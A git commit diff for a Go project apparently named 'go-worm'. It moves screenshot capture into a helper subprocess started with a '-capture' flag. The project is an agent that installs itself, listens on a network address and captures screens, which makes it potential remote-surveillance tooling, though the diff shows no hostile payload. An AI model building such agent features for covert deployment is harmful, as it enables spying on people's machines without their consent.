refactor(capture): screen capture in subprocess

- Move screen capture to child process
- Isolate GDI/BitBlt crashes from agent
- Use -capture flag for internal helper mode
- Add protocol for frame request/response
- Make monitor enumeration thread-safe

main.go

@@ -12,10 +12,12 @@ import (
 	"errors"
 	"flag"
 	"fmt"
+	"os"
 	"strings"
 	"time"
 
 	"tea.chunkbyte.com/kato/go-worm/lib/agent"
+	"tea.chunkbyte.com/kato/go-worm/lib/capture"
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
 	"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
 	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
@@ -39,8 +41,13 @@ func main() {
 	skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
 	parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
 	addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
+	captureMode := flag.Bool("capture", false, "run as screenshot helper (used internally)")
 	flag.Parse()
 
+	if *captureMode {
+		os.Exit(capture.RunHelper())
+	}
+
 	if *foreground {
 		instance.AllowConsoleKill()
 		instance.ShowConsole()